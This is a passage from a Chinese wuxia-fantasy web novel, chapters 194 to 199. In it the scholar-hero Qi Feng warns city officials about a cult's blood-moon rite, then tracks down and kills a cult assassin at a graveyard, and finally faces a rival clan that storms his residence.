齐枫站起身,目光扫过众人:“事不宜迟,咱们现在就收拾行李,即刻启程回府城。富贵,你去备马车,顺便跟悟空大师告辞,感谢他这些天的照拂。”
富贵连忙点头:“得嘞,少爷!”
小荷兴奋地跳起来:“太好了!终于能回府城了!我好想醉月楼的桂花糕!”
赵明兰也松了口气:“早该走了,在这里待着,每天都提心吊胆的。回府城后,我得让我爹派些人手保护咱们,免得被幽冥教的人盯上。”
周子陵拍了拍齐枫的肩膀:“齐兄,还是你果断!咱们赶紧收拾,别耽误了时辰。”
众人纷纷应和,转身回房收拾行李。
院子里顿时热闹起来,收拾行李的声响,彼此的叮嘱声交织在一起,少了往日的轻松,多了几分紧迫感。
齐枫看着众人忙碌的身影,心中却平静无波。
回府城只是第一步,接下来要应对的幽冥教“血月祭”和“鬼影卫”,才是真正的考验。
从金山寺下山的马车轱轳前行,车轮碾过青石官道,扬起细碎的尘土。
车厢内宽敞雅致,南宫玥靠窗而坐,指尖轻捻着一枚玉佩,目光追随着窗外掠过的田野。
柳若雪则捧着一卷诗集,偶尔轻声诵读两句,楚清秋牵着小荷的手,耐心听她叽叽喳喳地说着对府城桂花糕的想念,嘴角噙着淡淡的笑意。
齐枫与周子陵,徐远,陈玉堂坐在另一侧,几人正闲聊着即将到来的中秋节。
第一百九十四章 中秋将至
“再过五天就是中秋了,”周子陵把玩着手中的折扇,眼中满是期待,“往年府城的中秋最是热闹,南街会搭起戏台,醉月楼还会举办诗会,听说今年赵大人还会在府衙后院设宴,邀请府城的才子佳人赏月作诗。齐兄,到时候你可得再露一手,写几首好诗,让那些酸秀才们好好学学!”
徐远也跟着起哄:“是啊齐兄!上次庆功宴上你的诗可是惊艳了所有人,这次中秋诗会,你若能再作几首,保管能名动云州!”
陈玉堂笑着补充:“我听说去年的中秋诗会,袁克良还想抢头名,结果被一个不知名的秀才比了下去,今年没了他捣乱,诗会定能更热闹。”
齐枫笑了笑,没有接话,目光却落在窗外。
中秋诗会或许是个机会,既能进一步巩固自己在府城的声望,也能借诗会的机会,暗中观察府城各方势力的动向,看看幽冥教是否会在中秋期间有所行动。
马车行至中途,众人在一家名为“迎客来”的茶肆歇脚。
茶肆不大,却收拾得干净整洁,老板娘是个爽朗的中年妇人,见来了这么多贵客,热情地端上刚沏好的雨前龙井和几碟精致的茶点。
小荷捧着一碟桂花糕,吃得眉开眼笑:“这桂花糕真好吃!”
楚清秋无奈地摇了摇头,递过一杯茶水:“慢点吃,别噎着,你啊,我看就是好这一口,回府城后,让醉月楼的厨子多做些,给你当零嘴。”
赵明兰拿起一块杏仁酥,小口咬着,目光却时不时瞟向齐枫,见他正与周子陵等人讨论中秋诗会,忍不住插了一句:“齐枫,你教我作诗呗!我娘总说我没学问,这次我要让她刮目相看!”
齐枫挑眉:“没问题啊,不过学诗可不是一蹴而就的,得先多读多背,领会其中意境。”
赵明兰立刻点头:“我不怕难!只要能学会,再辛苦我也愿意!”
歇够之后,众人重新登车,继续往府城赶去。
夕阳西下时,马车终于抵达府城城门。
守城的官兵见是齐枫一行人,连忙放行,还热情地打招呼:“齐公子回来了!中秋诗会可得好好露一手啊!”
齐枫笑着点头,马车缓缓驶入城内。
南街依旧热闹非凡,商贩们的吆喝声,孩童的嬉笑声此起彼伏,家家户户的门前都已挂起了红灯笼,透着浓浓的节日氛围。
“终于回府城了!”周子陵伸了个懒腰,“我先回家报个平安,中秋诗会咱们再聚!”
徐远和陈玉堂也纷纷告辞,各自回家。
南宫玥与柳若雪也在醉月楼门口下车,南宫玥还特意叮嘱:“齐郎,回府城后注意安全,若有需要,随时来醉月楼找我。”
齐枫点头应下,看着她们走进醉月楼,才对楚清秋和小荷道:“你们也先回锦绣阁休息,我去趟知府府邸,找赵大人和卢大人说说金山寺的事。”
“齐枫,我跟你一起去!”赵明兰立刻说道,眼中满是期待,“我正好也想找我叔父,跟他说说幽冥教的事。而且……我还能给你带路,知府府邸我熟得很!”
齐枫看着她急切的模样,无奈地笑了笑:“也好,那就一起去吧。”
赵明兰顿时喜上眉梢,拉着齐枫的胳膊就往马车外走,动作亲昵自然。
楚清秋看着两人的背影,眼中闪过一丝复杂,却也只是叮嘱:“少爷,注意安全,早点回来。”
小荷也挥着小手:“少爷再见!记得给我带桂花糕!”
齐枫应了一声,跟着赵明兰坐上了前往知府府邸的马车。
车厢内空间不大,赵明兰却刻意挨着齐枫坐下,身上淡淡的脂粉香萦绕在齐枫鼻尖,带着少女特有的清甜。
“齐枫,你看我今天穿的这身鹅黄裙子好看吗?”赵明兰故作不经意地问道,还轻轻转了个圈,裙摆扬起,露出纤细的脚踝。
齐枫点头:“好看。”
赵明兰脸颊微红,又凑近了几分,几乎贴着齐枫的胳膊:“我就知道你会喜欢!这裙子是我娘特意让人给我做的,说中秋穿正好。
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对了齐枫,你中秋诗会打算写什么题材的诗?是写月亮,还是写思乡?”
她一边说,一边偷偷用指尖碰了碰齐枫的手背,见他没有躲闪,胆子更大了些,手指轻轻勾住他的袖口,眼中满是羞涩和期待。
齐枫无奈地叹了口气,却也没有推开她。
赵明兰性子直率,对自己的心意毫不掩饰,若是强行推开,反而会伤了她的自尊。
他只能转移话题:“中秋诗会还早,到时候看灵感吧。对了,幽冥教的事,你跟赵大人说的时候,记得把血月祭和鬼影卫的事重点提一下,让他多加防备。”
赵明兰点头,却没有松开勾着他袖口的手,反而轻轻摇了摇:“我知道啦!齐枫,你放心,我叔父最看重你,肯定会听你的话。再说还有我呢,我会帮你盯着的!”
马车很快抵达知府府邸。
府门巍峨,门前的石狮子威武雄壮,管家早已等候在门口,见赵明兰和齐枫下车,连忙迎上来:“小姐,齐公子,大人和卢大人正在书房议事,要不您二位先在客厅等候?”
赵明兰摆了摆手:“不用等了,你去通报一声,就说我和齐枫有要事找他们,关于幽冥教的紧急情况。”
管家不敢怠慢,连忙点头:“是,小姐,小的这就去!”
赵明兰拉着齐枫的手,走进府内:“齐枫,我带你逛逛我叔父的府邸吧!这府邸我从小就常来,比我自己家还熟!”
她拉着齐枫穿过前院,院内种着几棵高大的桂花树,金黄的桂花挂满枝头,香气四溢。
“你看这几棵桂花树,是我小时候跟叔父一起种的,现在都这么粗了!”赵明兰指着其中一棵桂花树,眼中满是怀念,“每到中秋,这院子里全是桂花香味,我还会在这里荡秋千呢!”
她又拉着齐枫走到一座假山前:“这假山后面有个小池塘,夏天的时候满是荷花,可好看了!我还在这里抓过小鱼,结果不小心掉进池塘里,把衣服都弄湿了,被我娘好一顿骂!”
第一百九十五章 藏不住的少女心事
两人穿过回廊,来到后院的花园。
花园内种满了各种花卉,还有一座精致的凉亭,亭内摆着石桌石凳。
“这凉亭是赏月的好地方,”赵明兰指着凉亭,美眸中满是憧憬,“去年中秋,我还在这里跟叔父一起吃月饼,赏月呢!今年……”
她没有继续说下去,却紧紧攥着齐枫的手,眼中满是期待。
她希望今年的中秋,能和齐枫一起在这里赏月。
齐枫看着她眼中的憧憬,心中微动,却也只是轻声道:“这府邸确实雅致,赵大人倒是会享受。”
就在这时,远处传来脚步声,赵明德和卢正淳快步走来。
赵明德一眼就看到了两人紧握的手,眼中闪过一丝笑意,打趣道:“明兰,你这丫头,怎么还拉着齐公子的手?都这么大了,还这么不害臊!”
赵明兰脸颊瞬间通红,像熟透的苹果,连忙松开齐枫的手,手足无措地站在原地,小声辩解:“叔父,我……我只是带齐枫逛逛府邸,不小心拉到的……”
齐枫也连忙解围:“赵大人,是齐某让赵姑娘带路的,刚才逛得太投入,没注意分寸。”
赵明德哈哈一笑,摆了摆手:“好了好了,不逗你们了。先进书房吧,你们说有紧急情况,到底是怎么回事?”
卢正淳也点头,目光落在齐枫身上:“齐公子,金山寺那边是不是出什么事了?”
齐枫点头,跟着两人往书房走去,心中却暗自庆幸。
幸好赵大人及时出现,不然赵明兰还不知道要做出什么亲昵的举动。
而赵明兰则跟在后面,脸颊依旧通红,却时不时偷偷瞟向齐枫,眼中满是小女儿家的羞涩,欢喜。
知府府邸的书房宽敞肃穆,紫檀木书桌后悬挂着一幅“清廉图”,笔墨苍劲,透着一股为官者的正气。
赵明德与卢正淳分坐两侧的太师椅上,神色凝重地看着齐枫,显然已做好听“紧急情况”的准备。
赵明兰则站在齐枫身侧,虽仍有些羞涩,却也收起了平日的娇蛮,认真地看着两人。
齐枫走到书桌前,将金山寺的经历缓缓道来,从幽冥教教徒广智,刘三的伪装与偷袭,到两人使用的“血遁秘术”“鬼影分身”,再到慧能大师逼问出的“血月祭”与“鬼影卫”,每一个细节都描述得清晰详尽,没有丝毫遗漏。
“那血月祭需以千人精血为引,祭典地点极可能在府城附近的聚阴之地,比如城西乱葬岗,废弃古宅,鬼影卫共十二人,个个修炼鬼影噬魂功,能隐匿身形,**于无形,如今已潜入金山寺附近,慧能大师怕伤及无辜香客,才决定四门紧闭,暂停接待香客。”
齐枫话音落下时,书房内已一片寂静,只有窗外偶尔传来的风声。
赵明德猛地一拍桌子,茶盏应声晃动,茶水溅出些许:“岂有此理!幽冥教竟敢如此猖獗!十年前朝廷派了上万精兵围剿,好不容易将其打散,没想到他们竟还敢死灰复燃,甚至图谋府城!”
卢正淳也脸色铁青,手指紧紧攥着椅柄:“赵大人说得是。十年前那场围剿,我也曾参与,亲眼见着幽冥教教主被斩于马下,教徒死伤过半,本以为已是穷途末路,没想到他们竟藏得这么深,还培养出了鬼影卫这等邪门死士!”
他顿了顿,脸色带着几分沉重:“当年为了剿灭幽冥教,朝廷不仅派了精兵,还联合了江湖正道二十多个门派,可即便如此,还是让不少余孽逃脱。这些年,官府从未放松追查,却始终没找到他们的踪迹,没想到他们竟一直在暗中积蓄力量,还渗透到了金山寺这等清净之地!”
赵明兰忍不住道:“叔父,卢大人,那咱们现在该怎么办?幽冥教要搞血月祭,还要派鬼影卫来府城,若是不提前防备,后果不堪设想!”
赵明德深吸一口气,压下心中的怒火,看向齐枫:“齐贤弟,你在金山寺与幽冥教教徒交过手,又得慧能大
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师指点,可有应对之策?”
齐枫沉吟片刻,缓缓道:“晚辈以为,当务之急有三,其一,加强府城防御,尤其是城西乱葬岗,废弃古宅等聚阴之地,需派重兵驻守,日夜巡查,一旦发现可疑人员,立刻拿下。”
“其二,严查府城内外的流动人口,尤其是近期新来的香客,商人,幽冥教极可能借着这些身份隐藏踪迹,其三,通知江湖正道门派,让他们也加强戒备,一旦发现不对,及时与官府联系,形成合围之势。”
他顿了顿,补充道:“另外,血月祭需在血月之夜举行,据慧能大师推算,下一次血月就在两月之内,咱们还有时间准备。只要提前找到祭典地点,布下埋伏,定能将幽冥教的阴谋粉碎。”
卢正淳点头附和:“齐公子所言极是!这三点对策切实可行,尤其是联合江湖门派,当年围剿幽冥教时,他们便帮了不少忙,如今再次联手,定能事半功倍。”
赵明德也松了口气,看着齐枫的眼神满是赞许:“若非齐贤弟及时从金山寺带回消息,咱们怕是还被蒙在鼓里,等幽冥教动手时,只能被动挨打!这次能提前防备,全靠齐贤弟!”
齐枫摆手,谦逊道:“赵大人过誉了。晚辈只是做了该做的事,府城安危,关乎百姓福祉,晚辈身为春闱榜首,自然该尽一份力。”
几人又讨论了片刻,确定了具体的部署,赵明德负责调动府城兵力,加强防御,卢正淳负责联络江湖门派,协调各方力量,赵明兰则协助两人整理情报,传递消息。
“事不宜迟,咱们这就分头行动!”赵明德站起身,,“齐贤弟,今日多谢你及时通报,若有需要,随时派人去锦绣阁找你。”
齐枫点头:“赵大人客气了。晚辈也该回锦绣阁了,若有新的线索,会及时告知二位大人。”
他与赵明兰一同起身告辞,走出书房时,夜色已深,府内的灯笼亮起,映得石板路一片柔和。
第一百九十六章 跟踪
赵明兰送齐枫到府门口,眼中满是不舍:“齐枫,回去路上小心,若遇到什么情况,记得派人告诉我。”
齐枫笑着点头:“放心,我会的。你也早点回去休息,明日还要帮赵大人处理公务。”
赵明兰应了一声,看着齐枫登上马车,才转身回府。
马车缓缓驶离知府府邸,沿着南街往锦绣阁方向走。
夜色中的府城渐渐安静下来,商贩们大多已经收摊,只有零星几家酒楼还亮着灯,传来些许喧嚣。
齐枫靠在车厢内,闭目养神,脑海中却在梳理着幽冥教的线索。
这些线索看似零散,却隐隐让齐枫觉得他们的目标恐怕不止是府城这么简单。
就在这时,齐枫忽然睁开眼。
他察觉到,马车后方不远处,有一道黑影正悄无声息地跟着,脚步轻盈,呼吸绵长,显然是个武功高强之人。
这道黑影从知府府邸附近就开始跟随,起初齐枫以为是官府的巡逻兵,可随着马车行驶,黑影始终保持着不远不近的距离,且路线与马车完全一致,显然是冲着自己来的。
“是幽冥教的人,还是另有其人?”齐枫心中泛起一丝疑惑。若是幽冥教的人,不该如此明目张胆地跟踪,而且跟踪他干嘛?
若是其他势力,又会是谁?袁振山派来的人?还是萧无痕留在府城的眼线?
齐枫没有惊动车夫,只透过车窗的缝隙,悄悄观察着后方的黑影,只见黑影穿着普通的布衣,身形中等,始终低着头,看不清面容,却能感觉到一股若有若无的杀气,显然来者不善。
马车继续前行,黑影也依旧跟在后方,如同附骨之疽,甩也甩不掉。
这跟踪者的耐心极好,显然是打算在僻静之处动手。
他轻轻敲了敲车厢壁,对车夫道:“前面拐进小巷,走捷径回锦绣阁。”
车夫应了一声,马车缓缓拐进一条僻静的小巷。
小巷内没有灯笼,只有月光透过墙壁的缝隙洒下,形成斑驳的光影,显得格外幽深。
马车驶进锦绣阁所在的巷口时,齐枫已悄然凝聚起一缕力量。
他透过车窗缝隙扫向巷口,那道跟踪的黑影果然如预期般停在阴影里,像块融入夜色的顽石,目光死死锁着锦绣阁大门,连呼吸都压得极轻。
显然是常年执行暗杀任务的老手。
“停车。”齐枫轻声吩咐车夫,推开车门时故意放慢动作,看似随意地抻了抻衣袖,实则已将周身气息调整到最佳状态。
他朝巷口方向虚晃一眼,随即大步迈入锦绣阁,院内楚清秋与小荷早已等候在廊下,见他回来,小荷立刻扑上前:“少爷!你可算回来了!桂花糕呢?”
楚清秋却没被小荷的活泼带偏,目光锐利地扫过齐枫身后的夜色:“身后有尾巴,幽冥教的人?”
齐枫点头,引着两人进了厢房,才沉声道:“从知府府邸一路跟来,现在还在巷口守着。看身手,应该是鬼影卫无疑了。”
“鬼影卫?”小荷吓得往楚清秋身后缩了缩,“他们跟踪少爷干什么?是为了舍利子,还是为了金山寺的消息?”
楚清秋眉头紧锁,抬手按住腰间软剑:“我跟你一起去,幽冥教秘术诡异,多个人多份照应。”
“不用。”齐枫摆手,“一个小角色而已,正好,我也很久没活动筋骨了,你们守好院子,防止有人调虎离山。”
说罢,他推开后窗,身形如柳絮般飘出,落地时连枯叶都未惊动。
夜色成了他最好的掩护,他贴着墙根移动,很快便隐在巷尾的老槐树后,目光锁定巷口那道黑影。
黑影在巷口又守了一炷香的时间,见锦绣阁始终没有异动,才缓缓转身,刻意避开巡逻官兵的路线,朝着城西乱葬岗方向而去。
齐枫笑了,那里阴气重,少有人至,正是**灭口的绝佳之地!
齐枫悄无声息地跟在后方,始终保持着十步距离。
他运转内力将气息完全收敛,连脚步都踩
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在阴影交界处,任凭黑影如何警惕地回头探查,都没能察觉身后的“影子”。
出了府城城门,夜风裹挟着乱葬岗的腐臭味扑面而来,荒坟间的磷火忽明忽暗,透着渗人的寒意。
黑影走到一棵歪脖子老槐树下,终于停下脚步,猛地转身,手中淬毒短刀已出鞘,刀身泛着青黑色的幽光:“别躲了!跟了一路,不嫌累吗?”
齐枫从树后缓步走出,折扇轻摇,嘴角噙着淡笑:“阁下跟我从知府府邸到这荒郊野岭,不去喝杯茶?”
黑影见齐枫竟孤身追来,眼中闪过一丝诧异,随即扯下脸上的黑布,露出一张普通的面容,唯有左眼下方一道疤痕斜贯颧骨,显得格外狰狞。
“我乃幽冥教鬼影卫老三,奉命探你底细。没想到你一个书生,竟有如此胆识,倒是个有趣的猎物。”
“鬼影卫?”齐枫挑眉,折扇轻轻一合,“跟踪我,是为血月祭的消息,还是为佛心舍利子?”
鬼影卫老三眼中闪过一丝惊色:“你竟知道舍利子?看来金山寺的事,你果然一清二楚!不过……”
他话音陡然转厉,身形如鬼魅般扑出,手中短刀直刺齐枫咽喉,刀风裹挟着浓郁的阴寒之气,正是幽冥教的“鬼影刺”,专挑咽喉,心口等要害,江湖上死在这招下的好手不计其数。
齐枫却不闪不避,待刀光离咽喉只剩三寸时,才猛地侧身,右手如闪电般探出,精准扣住鬼影卫老三的手腕。
“咔嚓”一声脆响,骨头断裂的声音在寂静的乱葬岗格外刺耳,鬼影卫老三惨叫一声,短刀“哐当”落地,刀身上的毒液溅在枯草上,瞬间让枯草化为黑灰。
“不可能!”鬼影卫老三眼中满是难以置信,他的“鬼影刺”练到大成,出刀速度快过常人反应,就算是江湖一流好手也得暂避锋芒,齐枫竟能如此轻松化解。
他不甘心地运转“鬼影噬魂功”,内力如毒蛇般顺着手臂反扑,想要震开齐枫的钳制。
第一百九十七章 霸道碾压
齐枫的手掌如同铁钳般纹丝不动,反而一股精纯的内力顺着他的手腕涌入,瞬间震得他经脉发麻。
“幽冥教的邪功,也不过如此。”齐枫淡淡开口,指尖微微用力,淡金色的天劫残力悄然渗入。
天劫残力刚入体,鬼影卫老三便发出一声凄厉的惨叫,浑身皮肤以肉眼可见的速度泛起青黑色纹路,却又在淡金色光芒的压制下迅速消退。
他能清晰地感觉到,体内赖以生存的邪功正在被一点点瓦解,连骨髓都透着寒意。
“这是什么力量?”鬼影卫老三眼中满是恐惧,他猛地从怀中掏出三枚黑色***,同时朝齐枫掷出。
这是幽冥教的“噬魂烟”,吸入者会瞬间陷入幻境,沦为任人宰割的傀儡。
齐枫早有防备,左手一挥,一股劲风将***打向不同方向,“砰砰砰”三声炸响,黑色烟雾在荒坟间弥漫开来。
可他脚步丝毫未停,身形如鬼魅般穿过烟雾,右手始终牢牢扣着鬼影卫老三的手腕,连一丝挣脱的机会都不给。
“还没完!”鬼影卫老三嘶吼一声,猛地张口喷出一口黑血,血珠落在地上竟化为一只只微型鬼影,朝着齐枫脚踝扑去。
这是“血影分身”秘术,以自身精血为引,召唤鬼影噬人,就算是金刚不坏之身也能被咬出伤口。
齐枫冷哼一声,左脚轻轻一跺,淡金色的天劫残力顺着地面扩散,那些微型鬼影刚触碰到淡金色光芒,便发出“滋滋”的灼烧声,瞬间化为飞灰。
他趁鬼影卫老三心神失守的瞬间,右手发力,将他狠狠掼在老槐树上,“砰”的一声闷响,树干都震得簌簌掉叶。
鬼影卫老三咳出一口鲜血,眼中却闪过一丝决绝,他猛地伸手抓向腰间。
那里藏着幽冥教的“爆魂丹”,一旦引爆,不仅能与敌人同归于尽,还能销毁所有关于幽冥教的线索。
可齐枫比他更快,左手如鹰爪般扣住他的手腕,同时指尖凝聚的天劫残力再次渗入,精准地震碎了他的指骨。
“咔嚓”声接连响起,鬼影卫老三的手指以诡异的角度扭曲,爆魂丹“哐当”落地,滚到荒草深处。
“说!血月祭具体在何时举行?祭典地点在哪?还有多少‘鬼影卫’潜入府城?”齐枫俯身,揪住他的衣领,眼中闪过一丝狠厉。
鬼影卫老三却死死咬着牙关,竟想要咬舌自尽。
齐枫早有防备,手指在他下巴上轻轻一捏,“咔嚓”一声卸了他的下颌,让他连自尽的机会都没有。
“不想说?没关系。”齐枫嘴角勾起一抹冷笑,右手轻轻按在他的太阳穴上,运转起前世修炼的“摄魂术”。
这秘术能在对方心志不稳时,强行读取浅层记忆,虽不如佛门“清心咒”温和,却胜在快速直接。
淡金色的天劫残力与内力交织,顺着齐枫的手掌涌入鬼影卫老三的脑海。
他的身体剧烈抽搐起来,眼中满是痛苦与恐惧,记忆碎片如同潮水般被读取。
他确实是“鬼影卫”老三,奉命跟踪齐枫,确认他是否知晓“血月祭”详情与舍利子下落。
可他地位低微,只知道祭典在两月后的血月之夜举行,至于其他“鬼影卫”的藏身处、幽冥教总坛位置,一概不知。
这些核心信息,只有教主与几位长老才知晓。
“真是个没用的东西。”齐枫松开手,眼中闪过一丝冷意。
既然得不到更多有用的信息,留着也只是浪费时间。
他抬手一掌拍在鬼影卫老三的胸口,掌力中蕴含的天劫残力瞬间爆发,如同烈火烹油般席卷他的五脏六腑。
鬼影卫老三连惨叫都没能发出,身体便软软地倒在地上,皮肤以肉眼可见的速度干瘪、碳化,最后竟化为一堆飞灰,被夜风一吹,散落在荒坟间,连一丝痕迹都未留下。
天劫残力的毁灭气息,连他的尸骨都彻底净化!
齐枫看着地上的飞灰,眼中没有丝毫波澜
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。
前世渡天劫时,他见过的杀戮比这惨烈百倍,早已习惯了这种场面。
他拍了拍手,转身朝着府城方向走去,心中却在盘算。
夜色中的乱葬岗恢复了寂静,只有风吹过荒坟的呜咽声。
齐枫的身影渐渐消失在夜色里。
翌日清晨的阳光格外透亮,透过锦绣阁庭院里的桂花树洒下。
小荷捧着一碟刚出锅的桂花糕,蹲在石凳旁,小口小口地抿着,含糊不清地念叨:“少爷,我今早去巷口买豆浆,见南街的早点摊比往常还热闹呢。连巡逻的官差都跟平时一样,慢悠悠地晃着,这哪像是要防备幽冥教的样子呀?赵大人和卢大人是不是忘了这茬了?”
楚清秋正坐在廊下擦拭她那柄软剑,剑身如秋水般倒映出她沉静的眉眼。
听到小荷的话,她抬眸轻笑:“傻丫头,若真把防备摆在明面上,才是自乱阵脚。你想啊,幽冥教最擅长在暗处作祟,要是见府城突然**,定会猜到咱们已知他们的计划,要么立刻改变主意换个地方搞血月祭,要么就故意散布谣言,说官府抓不到邪派就拿百姓撒气,到时候人心一乱,才真给了他们可乘之机。”
她用布巾细细擦过剑穗上的玉佩,继续道:“赵大人和卢大人都是官场上的老狐狸,定然是让捕快们换上便服,混在商贩,脚夫里盯着城西那片乱葬岗和废弃古宅。明面上越是平静,暗处的网收得越紧,等幽冥教的人一露头,正好一网打尽。”
柳若雪坐在一旁翻看着一本泛黄的古籍,闻言也抬起头,指尖点着书页上的字迹:“青禾姐姐说得极是。我这书上记载,幽冥教行事最忌张扬,当年他们在云州搞噬魂宴,就是趁着州府举办花灯节时动手的,越是热闹的时候,越容易藏住阴私勾当。如今府城看似如常,反而能让他们放松警惕,觉得血月祭可以顺利进行。”
此话一出,小荷若有所思的抬着下巴,显然觉得很有道理。
第一百九十八章 挑事的来了
南宫玥端着茶盏,轻轻吹了吹浮沫:“我今早从醉月楼过来时,见卢大人的贴身护卫正跟武馆的馆主低声说着什么。那馆主以前跟袁家走得近,这几日却频频往府衙跑,想必是卢大人在联络江湖势力,让他们暗中协助防备。”
齐枫靠在朱红廊柱上,手里转着一枚玉佩,闻言笑道:“月儿观察得倒是仔细。咱们现在要做的,就是稳住阵脚,该做什么还做什么。富贵,你派几个机灵的弟兄,轮班盯着城西那片废弃古宅,不用靠近,远远看着就行,一旦有黑衣人影出入,立刻回来报信。”
富贵正蹲在门槛上磨他那把短刀,闻言“噌”地站起来,拍着胸脯道:“少爷放心!我这就叫上阿大和阿二,他们俩以前是猎户,最会蹲点,保证盯得死死的,一只耗子都跑不过他们的眼!”
小荷举着半块桂花糕,凑到齐枫跟前:“少爷,那我呢?我也想帮忙!”
齐枫捏了捏她的脸颊,笑着说:“你呀,就去南街的茶香居听消息。那里三教九流都有,说书先生讲的段子里常藏着真事,茶客聊天时也爱议论东家长西家短,说不定能听到关于‘陌生人’‘外乡客’的闲话,幽冥教的人想在府城藏脚,总得跟人打交道,难免会留下痕迹。”
小荷立刻把桂花糕塞进嘴里,拍着小手道:“保证完成任务!我每天去听两回书,保管把听到的都记下来!”
正说着,院外传来一阵急促的脚步声,周子陵,徐远和陈玉堂掀着帘子进来了。
周子陵一进门就嚷嚷:“齐兄,我们又来叨扰了,我昨儿晚上翻来覆去睡不着,总觉得枕头底下藏着刀似的,还是来你这儿踏实!”
徐远脸色发白地跟着点头:“可不是嘛齐兄,我家仆役今早说,后巷有几个穿黑衣服的盯着我院子看,吓得我赶紧让护卫把大门都闩上了。要不……咱们干脆凑到一块儿住得了?人多阳气重,邪祟也不敢靠近。”
陈玉堂摸着下巴沉吟道:“我爹让账房取了五百两银子,说要去请铁拳门的高手来护院。齐兄觉得可行吗?我总觉得光靠官府不保险,江湖人对付邪派说不定更在行。”
齐枫请三人坐下,亲手给他们倒了茶:“子陵兄放宽心,你家在府城是老牌商户,跟官府往来密切,幽冥教现阶段不会动你,他们要的是千人精血,不是商户的银子。徐远兄也别怕,后巷那些黑衣人,说不定是卢大人派来的便衣,盯着可疑人呢。”
他转向陈玉堂:“请江湖高手倒不必,铁拳门跟袁家有些交情,万一走漏风声,反而不妙。咱们只需记住,别单独去偏僻地方,夜里少出门,有富贵和青禾在,寻常邪祟近不了身。”
楚清秋接口道:“而且幽冥教现在忙着找祭品,据古籍记载,他们要的是生辰八字属阴的人,孤儿,流浪汉,女人这类无依无靠的最容易成为目标,我已经让富贵去通知丐帮,让他们多照看些街头的可怜人,只要护住这些人,就能拖慢他们的血月祭。”
柳若雪补充道:“我还发现,幽冥教每次搞祭典前,都会在附近寺庙布施,说是积德,实则是在打探哪家有符合条件的人。我已经跟金山寺的小和尚捎了话,让他们留意来布施的外乡人,一旦有异常就报给官府。”
周子陵听得眼睛发亮:“还是齐兄和几位姑娘想得周全!这么一说,我心里的石头总算落地了!对了齐兄,三天后的中秋诗会,你可一定要去啊!赵大人特意让人给我送了两张请柬,说让我给你捎一张,这诗会可是府城的大事,到时候满城的才子佳人都去,热闹得很!”
徐远也跟着笑道:“是啊齐兄,你的那几首诗,现在连街头的孩童都会唱了!可惜又有很久没有新作了,这次诗会要是能再写几首,保管能传遍景国!”
齐枫端起茶盏抿了
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一口,笑道:“诗会自然是要去的。一来是不能拂了赵大人的面子,二来……也正好借着诗会看看,府城里那些跟袁家,跟幽冥教沾边的人,会不会露出马脚。”
正说着,院外突然传来一阵喧哗,伴随着铁器碰撞的叮当声,一个嚣张的嗓门穿透院墙:“齐枫!你个缩头乌龟!躲在锦绣阁里算什么好汉?有种出来!老子跟你没完!”
众人脸色一沉,富贵“噌”地站起来,握紧了腰间的短刀:“是袁浩然的声音!这小子活腻了?”
齐枫放下茶盏,眼神冷了几分:“出去看看。”
刚走到锦绣阁门口,就见袁浩然带着十几个袁家子弟堵在门口,个个穿着黑色劲装,手里拎着刀棍,把门口的路都堵**。
袁浩然站在最前面,脸上带着一道还没好利索的疤痕,那是上次被萧无痕下令杖责时留下的,此刻他瞪着眼睛,一副要**的样子。
周子陵一看这阵仗,当即就火了,上前一步指着袁浩然骂道:“袁浩然!你是不是被打傻了?你大哥袁克良勾结余孽,死在段飞手里那是罪有应得,你能保住一条小命就该烧高香了,还敢来这儿撒野?忘了上次在袁府,萧大人是怎么说的?再敢找齐兄麻烦,直接打断你的腿!”
袁浩然被骂得脖子一梗,却有点心虚地往后缩了缩,随即又梗着脖子道:“周子陵!这里没你的事!我跟齐枫的账还没算完呢!我大哥若不是被他逼得走投无路,怎么会落得那般下场?今天我非要替我大哥讨个公道!”
“讨公道?”齐枫缓步走出门,目光扫过袁浩然,“你要讨什么公道?是讨你大哥派**夜袭我的公道?要不要我现在就去请赵大人和卢大人过来,咱们当着他们的面,把这些公道好好说道说道?”
这话一出,袁浩然身后的几个袁家子弟顿时变了脸色,有两个甚至悄悄往后退了半步。
第一百九十九章 毫无感情
袁浩然也被噎得说不出话,脸色一阵青一阵白,过了好一会儿才咬牙道:“齐枫!你少血口喷人!我大哥跟余孽没关系!你别想转移话题!今天我就是要跟你比一场,你要是赢了,我袁家以后不再找你麻烦,你要是输了,就得跟我去袁府,给我大哥的牌位磕三个头!”
周子陵在一旁冷笑:“比什么?比谁脸皮厚吗?就你那三脚猫功夫,齐兄只是一个书生,你好意思?还是袁克良上身了?一个武夫也天天找求生打架?你怎么不去和瘸子赛跑?!”
袁浩然被戳到痛处,眼睛一红,就在这倏忽之间,一道破空的风声,直劈向周子陵!
周子陵正对着袁浩然骂得兴起,压根没防备有人会突然动手。等他听到风声转头时,钢刀的寒光已经到了眼前,刀刃上的寒气几乎要刮到他的鼻尖!
他吓得浑身一僵,眼睛瞪得溜圆,嘴巴张得能塞下一个鸡蛋,整个人像被钉在原地似的,连躲闪的念头都来不及生出来,脸上瞬间被惊恐填满!
“小心!”
富贵的吼声几乎与气劲破空的声音同时响起。
他离周子陵最近,反应也最快,几乎是凭借本能,猛地向前一扑,粗壮的手臂一把将周子陵拦腰抱住,硬生生往旁边横移了数尺。
“嗤!”
气劲擦着周子陵的脸颊飞过,狠狠打在身后的墙壁上,坚硬的青砖瞬间被击出一个深约寸许的坑洞,碎石飞溅。
周子陵这才如梦初醒,低头看着墙上的坑洞,又摸了摸自己的脸颊,那里还残留着一丝寒意,吓得双腿一软,差点瘫倒在地,大口大口地喘着粗气,脸色惨白如纸。
这时,袁氏子弟突然向两侧分开,一道身影如同鬼魅般从人群中闪出。
那是个身穿月白锦袍的年轻人,身姿挺拔,面容俊美得近乎妖异,墨发用玉冠束起,只是那双眼睛冷得像万年寒冰,没有一丝温度。
他正是从断魂谷历练归来的袁惊尘。
“袁惊尘!你敢下死手!”徐远和陈玉堂将周子陵护在身后,怒视着那名锦袍年轻人。
富贵也眉头紧皱,他能感觉到,这个袁惊尘身上的气息极为恐怖,远超刚才那些袁家子弟,甚至比他以往遇到的任何对手都要强悍。
光是站在那里,就给人一种如山岳压顶般的压迫感。
楚清秋也瞬间掣出软剑,剑尖直指袁惊尘,俏脸上满是寒霜:“光天化日之下,竟敢对无辜之人下此毒手,袁氏子弟的行事风格,果然卑劣至极!”
柳若雪蹙紧眉头,声音清冷:“袁公子,你刚从断魂谷回来,就想**性命?”
南宫玥悄悄移动脚步,挡在齐枫身侧,小荷躲在楚清秋身后,吓得浑身发抖,却还是鼓起勇气喊道:“你这个人怎么这样?动不动就**,太过分了!”
